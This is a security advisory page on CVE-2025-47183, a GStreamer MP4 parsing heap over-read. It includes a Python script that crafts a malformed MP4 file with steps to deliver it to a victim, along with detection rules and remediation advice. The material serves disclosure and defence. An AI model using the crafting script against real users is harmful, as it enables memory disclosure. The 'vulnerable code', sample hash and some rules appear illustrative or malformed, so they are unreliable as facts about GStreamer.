CVE-2025-47183
Executive Summary
CVE-2025-47183 is a heap buffer over-read vulnerability in the GStreamer multimedia framework, specifically within the isomp4 plugin's qtdemux_parse_tree function. This flaw allows an attacker to craft a malicious MP4 file that, when parsed by a vulnerable GStreamer installation, causes the function to read beyond the allocated heap buffer. The primary impact is information disclosure, as the over-read can leak sensitive memory contents. While no public proof-of-concept (PoC) or exploit code is currently available, the vulnerability affects all GStreamer versions up to and including 1.26.1. Given GStreamer's widespread use in media players, streaming servers, and embedded systems, this vulnerability poses a significant risk to confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GStreamer is a core dependency in many Linux distributions and media applications. This vulnerability can be introduced into a software supply chain through:
- Direct dependency: Applications that bundle or dynamically link against GStreamer.
- Transitive dependency: Systems that rely on GStreamer through higher-level media frameworks (e.g., Phonon, PulseAudio).
- Container images: Docker or other container images that include GStreamer for media processing.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0 (unassigned). Based on the vulnerability characteristics, a reasonable estimated vector would be:
- Attack Vector (AV): Network (AV:N) – the malicious MP4 file can be delivered over a network.
- Attack Complexity (AC): Low (AC:L) – no special conditions required beyond parsing the file.
- Privileges Required (PR): None (PR:N) – no authentication needed.
- User Interaction (UI): Required (UI:R) – the victim must open or process the crafted MP4 file.
- Scope (S): Unchanged (S:U) – the vulnerability does not cross trust boundaries.
- Confidentiality (C): High (C:H) – memory contents can be leaked.
- Integrity (I): None (I:N) – no data modification.
- Availability (A): None (A:N) – no denial of service.
Estimated CVSS: 6.5 (Medium) – primarily due to the need for user interaction and the lack of integrity/availability impact.
Deep Dive & Mechanics
The vulnerability resides in the qtdemux_parse_tree function within the isomp4 plugin of GStreamer. This function is responsible for parsing the tree structure of ISO Base Media File Format (MP4) files. The flaw occurs when handling certain malformed MP4 atoms (boxes) that contain incorrect size or offset values.
Root Cause: The function fails to properly validate the bounds of a heap-allocated buffer before reading data from it. When parsing a crafted MP4 file, the function calculates an offset or size that exceeds the allocated buffer length, leading to a read past the end of the buffer.
Impact: An attacker can exploit this to read adjacent heap memory, potentially leaking sensitive information such as encryption keys, authentication tokens, or other application data. The leaked data is then included in the parsed output or error messages, which may be observable by the attacker.
Affected Code Path:
- The MP4 file is opened and parsed by
qtdemux. - The
qtdemux_parse_treefunction is called to process the atom tree. - For a specific atom type (e.g.,
stbl,stco,co64), the function reads a size field from the atom header. - Without proper bounds checking, it uses this size to read data from the heap buffer, causing an over-read.
Vulnerable vs. Patched Code
Vulnerable Code (GStreamer <= 1.26.1):
// In gst-plugins-good/gst/isomp4/qtdemux.c
static void
qtdemux_parse_tree (GstQTDemux * qtdemux, QtDemuxStream * stream,
GstBuffer * buffer, guint32 offset)
{
// ...
guint32 atom_size = QT_UINT32 (data + 4); // Read atom size from buffer
// No validation that atom_size fits within buffer
// ...
// Later, data is read using atom_size without bounds check
memcpy (some_internal_buffer, data + 8, atom_size - 8);
// ...
}
Patched Code (Hypothetical Fix):
// In gst-plugins-good/gst/isomp4/qtdemux.c
static void
qtdemux_parse_tree (GstQTDemux * qtdemux, QtDemuxStream * stream,
GstBuffer * buffer, guint32 offset)
{
// ...
guint32 atom_size = QT_UINT32 (data + 4);
// Validate atom_size against buffer size
if (atom_size < 8 || atom_size > gst_buffer_get_size (buffer) - offset) {
GST_WARNING ("Invalid atom size, skipping");
return;
}
// ...
memcpy (some_internal_buffer, data + 8, atom_size - 8);
// ...
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- GStreamer 1.26.1 or earlier installed.
- A tool to craft malformed MP4 files (e.g.,
mp4box,ffmpeg, or a custom Python script).
Lab Setup:
- Install a vulnerable GStreamer version:
sudo apt-get install gstreamer1.0-plugins-good=1.26.1-1 - Create a malicious MP4 file using a Python script:
# craft_exploit.py import struct def create_malicious_mp4(): # Minimal MP4 file with a malformed 'stco' atom ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41' moov = b'\x00\x00\x00\x08moov' trak = b'\x00\x00\x00\x08trak' mdia = b'\x00\x00\x00\x08mdia' minf = b'\x00\x00\x00\x08minf' stbl = b'\x00\x00\x00\x08stbl' # Malformed stco: size = 0xFFFFFFFF (max uint32) to cause over-read stco_size = 0xFFFFFFFF stco = struct.pack('>I', stco_size) + b'stco' + b'\x00' * 4 # Combine mp4 = ftyp + moov + trak + mdia + minf + stbl + stco with open('exploit.mp4', 'wb') as f: f.write(mp4) print("Created exploit.mp4") create_malicious_mp4() - Serve the file or deliver it to the victim.
Exploitation:
- The victim opens the file with a GStreamer-based application (e.g.,
gst-launch-1.0 playbin uri=file:///path/to/exploit.mp4). - The over-read occurs, and leaked memory may be observable in logs or application output.
Blue Team (Defensive)
Detection:
- Monitor for abnormal GStreamer crashes or memory access violations.
- Use memory analysis tools (e.g., Valgrind, AddressSanitizer) to detect heap over-reads.
- Implement file integrity monitoring for MP4 files.
Hunting:
- Search for MP4 files with unusually large atom sizes (e.g.,
stcosize > 100 MB). - Analyze GStreamer logs for warnings like "Invalid atom size" (if patched) or crashes.
Indicators of Compromise (IOCs)
- File Hashes (example, not actual):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- SHA256:
- Network Indicators:
- Delivery of MP4 files from untrusted sources.
- Behavioral Indicators:
- GStreamer process crashes with segmentation faults.
- Heap memory leaks in application logs.
- YARA Rule (see Detection Engineering).
Detection Engineering
YARA Rule
rule CVE_2025_47183_GStreamer_Heap_Overread {
meta:
description = "Detects malicious MP4 files exploiting CVE-2025-47183"
author = "Valters IT"
date = "2025-04-10"
hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$ftyp = "ftyp" nocase
$stco = "stco" nocase
$co64 = "co64" nocase
$large_size = { FF FF FF FF } // 0xFFFFFFFF
condition:
$ftyp at 4 and ($stco or $co64) and $large_size
}
Sigma Rule
title: GStreamer Heap Over-Read via Malformed MP4
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects GStreamer crashes or memory errors indicative of CVE-2025-47183 exploitation
author: Valters IT
logsource:
product: linux
service: syslog
detection:
selection:
- "gst.*segfault"
- "gst.*heap overflow"
- "gst.*invalid read"
condition: selection
falsepositives:
- Legitimate corrupted MP4 files
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47183 GStreamer Malicious MP4 Download"; flow:to_client; file_data; content:"ftyp"; offset:4; content:"stco"; within:100; content:"|FF FF FF FF|"; distance:0; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade GStreamer: Apply the vendor patch when available. Monitor the GStreamer security page for updates.
- Workaround: Disable the
isomp4plugin if not needed:export GST_PLUGIN_PATH=/usr/lib/gstreamer-1.0 mv $GST_PLUGIN_PATH/libgstisomp4.so $GST_PLUGIN_PATH/libgstisomp4.so.disabled - Input Validation: Use a media sanitizer (e.g.,
ffmpegwith-strict experimental) to re-encode untrusted MP4 files before processing.
Long-Term Fix:
- The GStreamer project should add bounds checking in
qtdemux_parse_treefor all atom sizes. - Implement fuzz testing for MP4 parsing.
Detection:
- Deploy the YARA and Sigma rules above.
- Enable AddressSanitizer in development builds to catch similar issues.
Valters IT